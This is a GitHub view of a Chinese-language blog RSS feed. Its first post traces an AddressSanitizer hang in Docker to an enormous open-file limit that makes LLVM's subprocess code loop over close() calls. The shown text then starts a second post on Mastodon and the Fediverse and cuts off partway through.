-
Notifications
You must be signed in to change notification settings - Fork 7
/
feed.xml
967 lines (967 loc) · 342 KB
/
feed.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="/xsl/rss.xsl"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>zu1k</title><link>https://zu1k.com/</link><description>A boy dreaming of traveling around the world.<br>This blog is used to record my study, thinking and life.</description><language>zh-CN</language><managingEditor>i@zu1k.com (zu1k)</managingEditor><webMaster>i@zu1k.com (zu1k)</webMaster><copyright>This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.</copyright><lastBuildDate>Wed, 14 Jun 2023 16:00:00 +0800</lastBuildDate><atom:link href="https://zu1k.com/rss.xml" rel="self" type="application/rss"/><item><title>从 ASAN Stuck 到 Open Files Limit</title><link>https://zu1k.com/posts/linux/large-nofile-cause-asan-stuck/</link><pubDate>Wed, 14 Jun 2023 16:00:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/linux/large-nofile-cause-asan-stuck/</guid><description><![CDATA[
<p><a href=https://github.com/google/sanitizers target=_blank rel="noopener noreffer" class=post-link>Sanitizers</a> 是好东西,可以帮助程序员检测错误并提供详细的错误报告。但前两天我遇到了一个问题,在我实验室主机的 Docker 容器中,AddressSanitizer 输出几行 Error 概述信息后,无法输出调用堆栈信息以及后续内容,程序会卡在这里,并且一个子进程会占满一个 CPU 核心。这件事我花了两天时间来排查,最终确定竟然是由于打开文件数限制设置太大导致的。请听我道来。</p><h2 id=发现问题><a href=#发现问题 class="header-mark headerLink">发现问题</a></h2><p>我准备了一个最小的 POC,用来重现本次事件的整个流程。以下是一个简单的 c 程序,如果直接编译运行会出现 SegmentFault,因为出现了越界写。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-c data-lang=c><span class=line><span class=cl><span class=kt>void</span> <span class=nf>main</span><span class=p>()</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=kt>char</span> <span class=o>*</span><span class=n>str</span> <span class=o>=</span> <span class=s>"abc"</span><span class=p>;</span>
</span></span><span class=line><span class=cl> <span class=n>str</span><span class=p>[</span><span class=mi>10</span><span class=p>]</span> <span class=o>=</span> <span class=sc>'z'</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>使用 clang 编译并开启 AddressSanitizer: <code>clang -g -fsanitize=address -fno-omit-frame-pointer -o target_asan poc.c</code></p><p>正常情况下运行应该很快输出调用堆栈信息,如图:</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/asan_normal_works_hu843adcb9f4c3ef501072e5b1b984d972_142890_1243x1001_resize_q75_h2_box_3.webp title="AddressSanitizer 正常输出" data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/asan_normal_works_hu843adcb9f4c3ef501072e5b1b984d972_142890_1243x1001_resize_q75_h2_box_3.webp data-sub-html="<h2>AddressSanitizer 正常输出</h2><p>AddressSanitizer 正常输出</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/asan_normal_works_hu843adcb9f4c3ef501072e5b1b984d972_142890_1243x1001_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/asan_normal_works_hu843adcb9f4c3ef501072e5b1b984d972_142890_1243x1001_resize_q75_h2_box_3.webp height=1001 width=1243 loading=lazy></a><figcaption class=image-caption>AddressSanitizer 正常输出</figcaption></figure></p><p>而这在我的 Docker 容器中就会卡住,通过 <code>top</code> 命令可以看到一个子进程占满一个 CPU 核心:</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/asan_stuck_hu6ff1142a74841c83d7167d84a2641030_34280_947x278_resize_q75_h2_box_3.webp title=卡住的情况 data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/asan_stuck_hu6ff1142a74841c83d7167d84a2641030_34280_947x278_resize_q75_h2_box_3.webp data-sub-html="<h2>卡住的情况</h2><p>卡住的情况</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/asan_stuck_hu6ff1142a74841c83d7167d84a2641030_34280_947x278_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/asan_stuck_hu6ff1142a74841c83d7167d84a2641030_34280_947x278_resize_q75_h2_box_3.webp height=278 width=947 loading=lazy></a><figcaption class=image-caption>卡住的情况</figcaption></figure></p><p>我一开始以为程序就这样进入死循环了,谁知道等了几分钟竟然也输出了结果。</p><p>于是我开始查资料,在 <a href=https://clang.llvm.org/docs/AddressSanitizer.html#symbolizing-the-reports target=_blank rel="noopener noreffer" class=post-link>LLVM 文档</a> 中提到可以通过设置环境变量 <code>ASAN_OPTIONS=symbolize=0</code> 来关闭 symbolize 流程。实验发现关闭符号解析后可以顺利输出后续内容。</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/asan_options_symbolize_off_huad9cb65d0ed5337ff5eff9c1267928d2_70146_1247x311_resize_q75_h2_box_3.webp title="关闭 symbolize 可以顺利输出" data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/asan_options_symbolize_off_huad9cb65d0ed5337ff5eff9c1267928d2_70146_1247x311_resize_q75_h2_box_3.webp data-sub-html="<h2>关闭 symbolize 可以顺利输出</h2><p>关闭 symbolize 可以顺利输出</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/asan_options_symbolize_off_huad9cb65d0ed5337ff5eff9c1267928d2_70146_1247x311_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/asan_options_symbolize_off_huad9cb65d0ed5337ff5eff9c1267928d2_70146_1247x311_resize_q75_h2_box_3.webp height=311 width=1247 loading=lazy></a><figcaption class=image-caption>关闭 symbolize 可以顺利输出</figcaption></figure></p><p>一开始我以为是符号解析器出 bug 了,尝试切换符号解析器,将默认的 <code>llvm-symbolizer</code> 替换成 GNU <code>addr2line</code>。</p><p><code>ASAN_SYMBOLIZER_PATH=/usr/bin/addr2line ./target_asan</code></p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/addr2line_also_stuck_hu8684916663b9aea2101a5b0c731c9e79_37682_915x265_resize_q75_h2_box_3.webp title="addr2line 仍然会卡住" data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/addr2line_also_stuck_hu8684916663b9aea2101a5b0c731c9e79_37682_915x265_resize_q75_h2_box_3.webp data-sub-html="<h2>addr2line 仍然会卡住</h2><p>addr2line 仍然会卡住</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/addr2line_also_stuck_hu8684916663b9aea2101a5b0c731c9e79_37682_915x265_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/addr2line_also_stuck_hu8684916663b9aea2101a5b0c731c9e79_37682_915x265_resize_q75_h2_box_3.webp height=265 width=915 loading=lazy></a><figcaption class=image-caption>addr2line 仍然会卡住</figcaption></figure></p><p>仍然卡住,于是我怀疑不是 <code>llvm-symbolizer</code> 的问题,感觉有可能是系统内核的问题,或者因为最新版 Docker 与内核冲突了?具体也不清楚,反正没有头绪。</p><p>当我把程序拷贝到宿主机上运行时,这个问题就莫名其妙的消失了。我将容器打包拷贝到同学的 Ubuntu 下,无法复现问题,也是顺利输出。我还尝试了将 Host 内核降级到 5.15,将 <code>Docker</code>/<code>Containerd</code>/<code>runc</code> 版本降级到与同学 Ubuntu 上相同的版本,均无法解决问题。</p><p>后面通过 strace 发现 AddressSanitizer 卡在 read 系统调用上,并通过上下文猜到与 <code>llvm-symbolizer</code> 交互的流程。</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/strace_stuck_in_read_hucfed7316ff0b1fed3a9a63b776d472d2_56014_907x471_resize_q75_h2_box_3.webp title="strace 发现卡 read 系统调用" data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/strace_stuck_in_read_hucfed7316ff0b1fed3a9a63b776d472d2_56014_907x471_resize_q75_h2_box_3.webp data-sub-html="<h2>strace 发现卡 read 系统调用</h2><p>strace 发现卡 read 系统调用</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/strace_stuck_in_read_hucfed7316ff0b1fed3a9a63b776d472d2_56014_907x471_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/strace_stuck_in_read_hucfed7316ff0b1fed3a9a63b776d472d2_56014_907x471_resize_q75_h2_box_3.webp height=471 width=907 loading=lazy></a><figcaption class=image-caption>strace 发现卡 read 系统调用</figcaption></figure></p><p>这里可以看到 AddressSanitizer 通过 fork 子进程,然后通过 pipe 的方式与子进程通讯,写 <code>CODE "binary_path" offset\n</code> 来请求查询 <code>binary</code> 的 <code>offset</code> 位置对应的符号信息,如果查询成功会返回源代码、行号、函数名等符号信息。</p><p>我尝试手动运行 llvm-symbolizer,正常输出没有任何问题。</p><p>但是这个时候我是一筹莫展,睡觉前在 <a href=https://twitter.com/zu1k_/status/1668635289433292885 target=_blank rel="noopener noreffer" class=post-link>Twitter 上求助</a>,看看有没有人也遇到过这个问题。</p><h2 id=深入><a href=#深入 class="header-mark headerLink">深入</a></h2><p>根据网友 <a href=https://twitter.com/whsloef/status/1668636143863369729 target=_blank rel="noopener noreffer" class=post-link>whsloef 的回复</a>,我打印了阻塞的进程的调用栈,跟我通过 strace 得到的结论相同,是卡 read 系统调用了。</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/cat_stack_hu91b90d96476c14248a3c1870987a44bd_56594_1253x302_resize_q75_h2_box_3.webp title=打印调用栈 data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/cat_stack_hu91b90d96476c14248a3c1870987a44bd_56594_1253x302_resize_q75_h2_box_3.webp data-sub-html="<h2>打印调用栈</h2><p>打印调用栈</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/cat_stack_hu91b90d96476c14248a3c1870987a44bd_56594_1253x302_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/cat_stack_hu91b90d96476c14248a3c1870987a44bd_56594_1253x302_resize_q75_h2_box_3.webp height=302 width=1253 loading=lazy></a><figcaption class=image-caption>打印调用栈</figcaption></figure></p><p>然后根据网友 <a href=https://twitter.com/JXQNHZr1yUAj5Be/status/1668684560195010561 target=_blank rel="noopener noreffer" class=post-link>Ningcong Chen 回复</a> 的一个历史 issue,我尝试用 gdb 来附加阻塞进程。(我之前考虑过给占用 100% 的进程做 profile,看看到底是什么行为占满 CPU,但考虑 AddressSanitizer 是 clang 注入的,不清楚好不好做,于是就没做)</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_1_hu5fd188a493f98ec7189955c1da6cca08_6245292_2503x830_resize_q75_h2_box_3.webp title=附加主进程 data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_1_hu5fd188a493f98ec7189955c1da6cca08_6245292_2503x830_resize_q75_h2_box_3.webp data-sub-html="<h2>附加主进程</h2><p>附加主进程</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_1_hu5fd188a493f98ec7189955c1da6cca08_6245292_2503x830_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_1_hu5fd188a493f98ec7189955c1da6cca08_6245292_2503x830_resize_q75_h2_box_3.webp height=830 width=2503 loading=lazy></a><figcaption class=image-caption>附加主进程</figcaption></figure></p><p>附加主进程后,发现卡在 <code>internal_read</code>,推测是子进程没有返回。</p><p><figure><a class=lightgallery href=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_2_hu6d0f57975e98a16e3a64039d6dd5528d_257129_2384x791_resize_q75_h2_box_3.webp title=附加子进程 data-thumbnail=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_2_hu6d0f57975e98a16e3a64039d6dd5528d_257129_2384x791_resize_q75_h2_box_3.webp data-sub-html="<h2>附加子进程</h2><p>附加子进程</p>"><img src=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_2_hu6d0f57975e98a16e3a64039d6dd5528d_257129_2384x791_resize_q75_h2_box_3.webp alt=/posts/linux/large-nofile-cause-asan-stuck/gdb_attach_2_hu6d0f57975e98a16e3a64039d6dd5528d_257129_2384x791_resize_q75_h2_box_3.webp height=791 width=2384 loading=lazy></a><figcaption class=image-caption>附加子进程</figcaption></figure></p><p>附加子进程,发现卡在一个 for 循环上,通过调用栈信息,从 GitHub 上下载了源码,开始分析原因。</p><p>通过 LLVM compiler-rt 源码,定位到 <a href=https://github.com/llvm/llvm-project/blob/f9d0bf06319203a8cbb47d89c2f39d2c782f3887/compiler-rt/lib/sanitizer_common/sanitizer_posix_libcdep.cpp#L465 target=_blank rel="noopener noreffer" class=post-link><code>compiler-rt/lib/sanitizer_common/sanitizer_posix_libcdep.cpp#L465</code></a>,我把 <code>StartSubprocess</code> 简化为以下流程:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-cpp data-lang=cpp><span class=line><span class=cl><span class=n>pid_t</span> <span class=nf>StartSubprocess</span><span class=p>(</span><span class=k>const</span> <span class=kt>char</span> <span class=o>*</span><span class=n>program</span><span class=p>,</span> <span class=k>const</span> <span class=kt>char</span> <span class=o>*</span><span class=k>const</span> <span class=n>argv</span><span class=p>[],</span>
</span></span><span class=line><span class=cl> <span class=k>const</span> <span class=kt>char</span> <span class=o>*</span><span class=k>const</span> <span class=n>envp</span><span class=p>[],</span> <span class=n>fd_t</span> <span class=n>stdin_fd</span><span class=p>,</span> <span class=n>fd_t</span> <span class=n>stdout_fd</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=n>fd_t</span> <span class=n>stderr_fd</span><span class=p>)</span> <span class=p>{</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl> <span class=kt>int</span> <span class=n>pid</span> <span class=o>=</span> <span class=n>internal_fork</span><span class=p>();</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl> <span class=k>if</span> <span class=p>(</span><span class=n>pid</span> <span class=o>==</span> <span class=mi>0</span><span class=p>)</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=k>for</span> <span class=p>(</span><span class=kt>int</span> <span class=n>fd</span> <span class=o>=</span> <span class=n>sysconf</span><span class=p>(</span><span class=n>_SC_OPEN_MAX</span><span class=p>);</span> <span class=n>fd</span> <span class=o>></span> <span class=mi>2</span><span class=p>;</span> <span class=n>fd</span><span class=o>--</span><span class=p>)</span> <span class=n>internal_close</span><span class=p>(</span><span class=n>fd</span><span class=p>);</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl> <span class=n>internal_execve</span><span class=p>(</span><span class=n>program</span><span class=p>,</span> <span class=k>const_cast</span><span class=o><</span><span class=kt>char</span> <span class=o>**></span><span class=p>(</span><span class=o>&</span><span class=n>argv</span><span class=p>[</span><span class=mi>0</span><span class=p>]),</span>
</span></span><span class=line><span class=cl> <span class=k>const_cast</span><span class=o><</span><span class=kt>char</span> <span class=o>*</span><span class=k>const</span> <span class=o>*></span><span class=p>(</span><span class=n>envp</span><span class=p>));</span>
</span></span><span class=line><span class=cl> <span class=n>internal__exit</span><span class=p>(</span><span class=mi>1</span><span class=p>);</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl> <span class=k>return</span> <span class=n>pid</span><span class=p>;</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>这是一个典型的启动子进程的方法,先 <code>fork</code>,然后在子进程中关闭不必要的文件描述符,最后通过 <code>execve</code> 启动目标程序。</p><p>但 LLVM 这里通过 <code>int fd = sysconf(_SC_OPEN_MAX)</code> 获取最大文件打开数,然后循环关闭,在文件打开数限制很大的情况下就会进行很多不必要的系统调用,从而导致耗时又占 CPU,最终导致我出现我上面那种假死的情况,实际上进程正在忙着关闭不存在的文件描述符。</p><p>通过在容器内运行 <code>ulimit -n</code> 发现容器内的文件描述符限制是 <code>1073741816</code>,而对比宿主机的限制 <code>1024</code>,这种差异就是我将程序拷贝到宿主机就无法复线问题的重要原因。</p><p>我尝试在运行容器的时候加一个打开文件数限制 <code>--ulimit nofile=1024:1024</code>,问题顺利解决。</p><p>原来网友 <a href=https://twitter.com/lightning1141/status/1668726282811580416 target=_blank rel="noopener noreffer" class=post-link>lightning1141 的回复</a> 是让我看文件打开数是不是太大的意思啊,我还以为是看看够不够用呢。我之前一直以为这个东西设置的越大越好的,我 too naive too simple.</p><h2 id=思考><a href=#思考 class="header-mark headerLink">思考</a></h2><p>但既然宿主机限制是 <code>1024</code>,那为什么在 Docker 容器里的限制却有 <code>1073741816</code>?</p><p>我根据经验查询了以下文件,发现打开文件数均为默认,并未指定特定数值:</p><ul><li><code>/etc/security/limits.conf</code></li><li><code>/etc/systemd/system.conf</code></li><li><code>/etc/systemd/user.conf</code></li></ul><p>然后查看 docker 相关限制,因为由 systemd 管理,所以查看以下文件:</p><ul><li><code>/usr/lib/systemd/system/docker.service</code></li><li><code>/usr/lib/systemd/system/containerd.service</code></li></ul><p>在服务文件中均指定 <code>LimitNOFILE=infinity</code>,由此导致打开文件数不受限制,通过 <code>cat /proc/sys/fs/nr_open</code> 查看内核默认的进程打开文件数限制,发现是 <code>1073741816</code>。而在同学的 ubuntu 机器上 nr_open 是 <code>1048576</code>。</p><p>这种发行版的细微差别导致的问题真是难以排查啊!</p><h2 id=解决方案><a href=#解决方案 class="header-mark headerLink">解决方案</a></h2><h3 id=修改-containerd-文件描述符限制><a href=#修改-containerd-文件描述符限制 class="header-mark headerLink">修改 Containerd 文件描述符限制</a></h3><p>修改 <code>/usr/lib/systemd/system/containerd.service</code></p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-fallback data-lang=fallback><span class=line><span class=cl>[Service]
</span></span><span class=line><span class=cl>LimitNOFILE=1048576
</span></span></code></pre></td></tr></table></div></div></div><p>无需修改 <code>/usr/lib/systemd/system/docker.service</code></p><p>或者在启动容器的时候添加限制 <code>--ulimit nofile=1048576:1048576</code>:</p><p><code>docker run -it --ulimit nofile=1048576:1048576 ubuntu:18.04 /bin/bash</code></p><h3 id=修改-llvm-中逻辑><a href=#修改-llvm-中逻辑 class="header-mark headerLink">修改 LLVM 中逻辑</a></h3><p>可以修改 LLVM 源码,使用 <code>close_range</code> 或者 <code>closefrom</code> 系统调用替换 <code>close</code>.</p><ul><li><code>close_range</code> Linux kernel 5.9 增加, 在 BSD 也可用</li><li><code>closefrom</code> FreeBSD 8.0 引入, 在 Linux 上需要链接 <code>libbsd</code></li></ul><p>可惜的是这两个都不是 POSIX 规范定义的系统调用,不过我认为这后面会成为主流的。</p><p>只改了 <a href=https://github.com/zu1k/llvm-project/commit/ba3ac3c9e636b4f32590cda4f44ccf76cb84550d target=_blank rel="noopener noreffer" class=post-link>Linux 的版本</a>,并且需要 Kernel 5.9 以上。</p><h2 id=后续><a href=#后续 class="header-mark headerLink">后续</a></h2><p>在 GitHub 上相应仓库提起了 issue,等待改进。虽然自己改了一个 Linux 的可以用了,但是考虑到 LLVM 需要保证兼容性,这里也不敢去提 PR,毕竟要求 Linux 5.9 以上版本可不是一个兼容性好的方案。(我在 ubuntu 18.04 的 docker 里就没办法编译通过,<code>unistd.h</code> 里没有定义 <code>#define __NR_close_range 436</code>)</p><ul><li><a href=https://github.com/llvm/llvm-project/issues/63297 target=_blank rel="noopener noreffer" class=post-link>llvm/llvm-project/issues/63297</a></li><li><a href=https://github.com/google/sanitizers/issues/1662 target=_blank rel="noopener noreffer" class=post-link>google/sanitizers/issues/1662</a></li><li><a href=https://github.com/google/sanitizers/issues/1477 target=_blank rel="noopener noreffer" class=post-link>google/sanitizers/issues/1477</a></li></ul><blockquote><p>突然想到了一个之前别人问的一个问题:<a href=https://github.com/zu1k/blog/discussions/53#discussioncomment-4808529 target=_blank rel="noopener noreffer" class=post-link>当我运行 >500 个线程时代理开始失败</a></p><p>既然很多发行版单进程最大文件打开数是 1024,那这个问题就好推测了。这个代理程序对每一个连接需要打开两个文件描述符,一进一出嘛,那并发上不了 500,就是因为 1024 太小了。改一下就能解决。</p></blockquote>]]></description></item><item><title>谈谈 Mastodon、Fediverse 和 ActivityPub</title><link>https://zu1k.com/posts/tutorials/p2p/fediverse/</link><pubDate>Thu, 26 Jan 2023 19:29:26 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/tutorials/p2p/fediverse/</guid><description><![CDATA[
<p>埃隆·马斯克 440 亿美元拿下 Twitter 后就开始大刀阔斧进行改革,他要做推特 2.0,但没想到他的举措竟然是大量裁员,施行专政。接下来的一系列举措使 Twitter 俨然已经成为某些人自我营销和推广的个人发布平台,想必是之前通过 Twitter 割虚拟货币韭菜割爽了。我想未来老马利用 Twitter 宣传进入政界也不足为奇。于是很多人便开始考虑脱离专制的 Twitter 平台,寻找一个更加开放自由、权力更加分散的平台,Mastodon 凭借多年的技术积累、好看的 UI 和类 Twitter 的交互逻辑,一举跃入众人的视野。</p><h2 id=mastodon><a href=#mastodon class="header-mark headerLink">Mastodon</a></h2><p><a href="https://www.youtube.com/watch?v=IPSbNdBmWKE" target=_blank rel="noopener noreffer" class=post-link>Mastodon</a> 又叫长毛象,我是 21 年左右在某个论坛看到 “草莓县”(cmx.im) 从而接触并了解了 Mastodon。Mastodon 从 16 年就开始开发,在我第一次接触它的时候 UI 就已经很美观了,其在 22 年进入大众视野并受到大家喜爱我一点也不感到奇怪,这么长时间的积累使 Mastodon 的成功成为历史的必然。</p><p>Mastodon 开源、去中心化(联邦制)的特性决定了任何个人和组织都可以搭建自己的 Mastodon 实例,从而加入到这个社交网络中来,人们既可以按照爱好、观念聚集在某个实例中,同时又可以与其他实例的用户进行各种交互,这种小邦大连的社交模式真的深得人心。</p><p>简单来说,作为用户,你可以从众多实例中根据喜好选择其中一个,注册账号,然后你就可以像推特一样发嘟(类比推特的发推),关注其他用户,查看时间线。与推特不同的一点是,如果你关注的用户注册在其他实例,那你就需要通过用户名加域名的方式来定位他。这有一点需要注意,在不同的实例中可能有多个用户有相同的用户名,所以实例的域名也是非常重要的一部分。因此,如果你想要打造个人品牌,就需要考虑防止有人通过一比一复制你的用户名、头像、介绍等信息来冒充你,也许提供 GPG 公钥是个不错的选择,貌似目前 Mastodon 没有集成成熟的解决方案来避免冒充问题。</p><p>据我所知国内部分高校组建了一个自己的小联邦,这个小联邦中每个学校都是一个独立的 Mastodon 实例,每个学校的实例都由本校学生独立自治,同时加入这个高校联邦的所有实例之间又可以互相交互。这个小联邦叫 <a href=https://closed.social/ target=_blank rel="noopener noreffer" class=post-link>闭社</a>,感兴趣的同学可以关注一下,搭建自己学校的实例并加入其中。</p><h2 id=fediverse><a href=#fediverse class="header-mark headerLink">Fediverse</a></h2><p>其实 Mastodon 并不是唯一的 Fediverse,Fediverse 这个词也不是 Mastodon 首创,早在 2008 年就有人提出来了这个概念,并构想社交和内容发布平台要满足独立托管、通过标准化协议通讯等概念。仔细想想,这些概念是不是跟 Email 很像?Email 可是在互联网发明之初就流行的协议,看起来互联网的发展过程也是轮回的,分久必合(商业公司中心化体验好)、合久必分(去中心化自由、自治)。这里我推荐阅读这篇文章: <a href=https://checkfirst.network/mastodon-the-rise-of-fediverse/ target=_blank rel="noopener noreffer" class=post-link>Mastodon, the rise of the Fediverse</a>。</p><p>目前最流行的 Fediverse 当属社交领域的 Mastodon 和即时通讯领域的 Matrix。据我了解,Matrix 的技术生态更加繁荣,有众多服务端和客户端的实现,同时也可以对接 Slack、Discord、Telegram、QQ、WeChat 等众多通讯 APP,但是目前看起来非技术爱好者用的并不多,大部分用户都是开发者和技术爱好者。而 Mastodon 的客户端虽有很多,但服务端只有官方一个实现,称不上技术生态繁荣,但是用户却遍地开花,特别是普通非技术用户。这种现象需要引起思考,技术虽可以改变世界,但技术并不是唯一,更好的UI、更好的交互、更好的体验,这些才是带来产品发展的外部动力的基础。</p><p>目前我的主要社交媒体还是 Twitter,正在慢慢向 Mastodon 转,主要是有很多要关注的人他们并没有在 Mastodon 宇宙安家。即时通讯方面除开熟人通讯必要的 QQ 和微信,陌生人通讯我正在逐渐放弃 Telegram,因为 Telegram 也正在变得封闭、专制、商业化,我在很多 Matrix 实例上都有匿名账户,但是我的朋友并不愿意来到 Matrix 网络,因此目前我的陌生人通讯主力是邮箱,我会对外公开我的邮箱地址,任何人都可以给我发邮件交流。</p><p>除了上面提到的两个 Fediverse,还有一些其他的 Fediverse 平台并不为大众所知,覆盖了通讯、社交、图片、音乐、视频等众多领域,大家可以通过以下网站探索:</p><ul><li><a href=https://fediverse.party/en/fediverse/ target=_blank rel="noopener noreffer" class=post-link>https://fediverse.party/en/fediverse/</a></li><li><a href=https://fediverse.info/ target=_blank rel="noopener noreffer" class=post-link>https://fediverse.info/</a></li><li><a href=https://fedi.tips/ target=_blank rel="noopener noreffer" class=post-link>https://fedi.tips/</a></li><li><a href=https://joinfediverse.wiki/Main_Page target=_blank rel="noopener 